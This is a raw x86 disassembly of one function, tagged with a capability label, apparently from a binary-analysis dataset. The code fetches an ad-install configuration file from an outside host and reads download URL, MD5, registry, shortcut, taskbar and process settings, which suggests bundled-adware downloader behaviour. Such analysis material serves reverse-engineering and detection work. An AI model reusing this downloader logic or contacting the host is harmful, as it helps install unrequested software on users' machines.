Function at 0x410f20
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x46f33c
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push esi
push edi
mov eax, dword [0x488900]
xor eax, esp
push eax
lea eax, [esp + 0xd0]
mov dword fs:[0], eax
mov eax, dword [0x48d28c]
mov ecx, str.cltg
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x410f86
test dx, dx
je 0x410f82
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x410f86
add eax, 4
add ecx, 4
test dx, dx
jne 0x410f60
xor eax, eax
jmp 0x410f8b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x410fb5
push ecx
mov ecx, esp
mov dword [esp + 0xb8], esp
push str.yxdown_cltg
call fcn.00401b80
call fcn.004140a0
test eax, eax
je 0x4130ef
mov eax, dword [ebp + 8]
add eax, 0x164
push str.YouXunBoxYouxun.exe
push eax
mov dword [esp + 0xbc], eax
lea eax, [esp + 0xb8]
push eax
call fcn.00405610
add esp, 8
mov dword [esp + 0xdc], 0
mov ecx, esp
mov dword [esp + 0x28], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401b80
lea ecx, [esp + 0x1c]
push ecx
call fcn.00409cc0
add esp, 8
mov byte [esp + 0xd8], 1
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411024
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xd8], 2
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411056
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xd8], 3
mov eax, dword [esp + 0x18]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 4
mov ecx, esp
mov dword [esp + 0xa0], esp
push str.sleep
lea esi, [esp + 0x5c]
call fcn.00401b80
mov byte [esp + 0xe0], 5
mov eax, dword [0x48d28c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], 3
call fcn.00409b90
mov ecx, dword [esp + 0x5c]
add esp, 0xc
push ecx
call fcn.00453161
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov dword [esp + 0x9c], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe0], 6
mov ecx, esp
mov dword [esp + 0x18], esp
push str.number
lea esi, [esp + 0x64]
call fcn.00401b80
mov byte [esp + 0xe0], 7
mov eax, dword [0x48d28c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x94], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe4], 3
call fcn.00409b90
mov edx, dword [esp + 0x64]
add esp, 0xc
push edx
call fcn.00453161
mov esi, eax
add esp, 4
mov dword [esp + 0x98], esi
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411188
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x20], eax
mov byte [esp + 0xd8], 8
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4111ba
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
mov byte [esp + 0xd8], 9
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4111ec
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xd8], 0xa
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41121e
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xd8], 0xb
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411250
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xd8], 0xc
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411282
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
mov byte [esp + 0xd8], 0xd
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4112b4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xd8], 0xe
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4112e6
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xd8], 0xf
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41131b
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xd8], 0x10
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41134d
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xd8], 0x11
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41137f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x9c], eax
mov byte [esp + 0xd8], 0x12
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4113b4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xd8], 0x13
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4113e6
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xd8], 0x14
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411418
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0xac], edi
mov byte [esp + 0xd8], 0x15
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41144d
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xd8], 0x16
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41147f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xd8], 0x17
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4114b4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xd8], 0x18
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4114e9
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xd8], 0x19
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41151b
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xd8], 0x1a
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41154d
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xd8], 0x1b
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41157f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xd8], 0x1c
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4115b1
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xd8], 0x1d
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4115e3
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xd8], 0x1e
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411615
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xd8], 0x1f
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411647
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xd8], 0x20
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411679
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xd8], 0x21
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4116ae
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xd8], 0x22
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4116e0
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xd8], 0x23
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x411715
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xd8], 0x24
call fcn.00435e1b
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41174a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
cmp esi, 1
mov bl, 0x25
mov byte [esp + 0xd8], bl
mov dword [esp + 0x8c], 1
jl 0x412b20
lea ebx, [ebx]
mov esi, dword [esp + 0x8c]
push esi
lea ecx, [esp + 0xa8]
push str.wd_durl
push ecx
call fcn.004060e0
add esp, 0xc
push esi
lea edx, [esp + 0x84]
push str.wd_dmd5
push edx
call fcn.004060e0
add esp, 0xc
push esi
lea eax, [esp + 0x7c]
push str.wd_dmain
push eax
call fcn.004060e0
add esp, 0xc
push esi
lea ecx, [esp + 0x60]
push str.wd_dunmain
push ecx
call fcn.004060e0
add esp, 0xc
push esi
lea edx, [esp + 0x58]
push str.wd_dchina
push edx
call fcn.004060e0
add esp, 0xc
push esi
lea eax, [esp + 0x74]
push str.wd_dopen
push eax
call fcn.004060e0
add esp, 0xc
push esi
lea ecx, [esp + 0x68]
push str.wd_dReg
push ecx
call fcn.004060e0
add esp, 0xc
push esi
lea edx, [esp + 0x6c]
push str.wd_dtaskbar
push edx
call fcn.004060e0
add esp, 0xc
push esi
lea eax, [esp + 0x50]
push str.wd_dparam
push eax
call fcn.004060e0
add esp, 0xc
push esi
lea ecx, [esp + 0x64]
push str.wd_dLnk
push ecx
call fcn.004060e0
add esp, 0xc
push esi
lea edx, [esp + 0x48]
push str.wd_dsleep
push edx
call fcn.004060e0
add esp, 0xc
push esi
lea eax, [esp + 0x88]
push str.wd_dlnkpath
push eax
call fcn.004060e0
add esp, 0xc
push esi
lea ecx, [esp + 0xac]
push str.wd_drnwait
push ecx
call fcn.004060e0
add esp, 0xc
push esi
push str.wd_dprocess
lea edx, [esp + 0xa8]
push edx
call fcn.004060e0
add esp, 0xc
push esi
lea eax, [esp + 0x94]
push str.wd_dArea
push eax
call fcn.004060e0
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4118e9
cmp eax, dword [esi]
jne 0x4118e9
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411924
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x26
mov edi, dword [esp + 0xa8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41196c
cmp eax, dword [edi]
jne 0x41196c
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4119a7
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x27
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4119ee
cmp eax, dword [edi]
jne 0x4119ee
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411a29
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x2c]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411a78
cmp eax, dword [esi]
jne 0x411a78
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411ab3
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x28
mov edi, dword [esp + 0x84]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411afb
cmp eax, dword [edi]
jne 0x411afb
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411b36
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x29
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411b7d
cmp eax, dword [edi]
jne 0x411b7d
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411bb8
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x38]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411c07
cmp eax, dword [esi]
jne 0x411c07
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411c42
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x2a
mov edi, dword [esp + 0x7c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411c87
cmp eax, dword [edi]
jne 0x411c87
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411cc2
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x2b
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411d09
cmp eax, dword [edi]
jne 0x411d09
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411d44
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x34]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411d93
cmp eax, dword [esi]
jne 0x411d93
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411dce
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x2c
mov edi, dword [esp + 0x60]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411e13
cmp eax, dword [edi]
jne 0x411e13
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411e4e
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x2d
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411e95
cmp eax, dword [edi]
jne 0x411e95
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411ed0
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x54]
mov byte [esp + 0xe4], bl
call fcn.00409b90
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x411f1f
cmp eax, dword [esi]
jne 0x411f1f
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411f5a
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x413107
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xdc], 0x2e
mov edi, dword [esp + 0x74]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x411f9f
cmp eax, dword [edi]
jne 0x411f9f
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x411fda
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xe0], 0x2f
mov edi, dword [0x48d28c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412021
cmp eax, dword [edi]
jne 0x412021
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41205c
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x413107
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004527e6
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x4c]
mov byte [esp + 0xe4], bl
call fcn.00409b90
